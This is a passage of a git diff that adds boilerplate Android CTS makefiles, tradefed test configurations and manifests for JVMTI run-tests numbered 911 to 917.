+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest911DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_911" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest911HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest911DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_911" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
new file mode 100644
index 0000000..d5d70d2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest911DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
new file mode 100644
index 0000000..1284b25
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_911">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="911" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_911" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
new file mode 100644
index 0000000..d56f94a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
new file mode 100644
index 0000000..697beb2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest912DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_912" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest912HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest912DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_912" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.mk b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
new file mode 100644
index 0000000..58d4156
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest912DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
new file mode 100644
index 0000000..d689692
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_912">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="912" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_912" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
new file mode 100644
index 0000000..8075fe2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
new file mode 100644
index 0000000..a019d07
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest913DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_913" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest913DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_913" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
new file mode 100644
index 0000000..03cb328
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest913DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
new file mode 100644
index 0000000..bd183b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_913">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="913" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_913" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
new file mode 100644
index 0000000..5f7ddee
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
new file mode 100644
index 0000000..b70869e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest914DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_914" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest914HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest914DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_914" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
new file mode 100644
index 0000000..c294d56
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest914DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
new file mode 100644
index 0000000..5d6869c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_914">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="914" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_914" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
new file mode 100644
index 0000000..2e2e438
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
new file mode 100644
index 0000000..35f9903
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest915DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_915" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest915HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest915DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_915" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
new file mode 100644
index 0000000..d712a74
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest915DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
new file mode 100644
index 0000000..12c417e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_915">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="915" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_915" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
new file mode 100644
index 0000000..1e84675
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
new file mode 100644
index 0000000..ad988af
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest917DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_917" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest917HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest917DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_917" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
new file mode 100644
index 0000000..8b87082
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
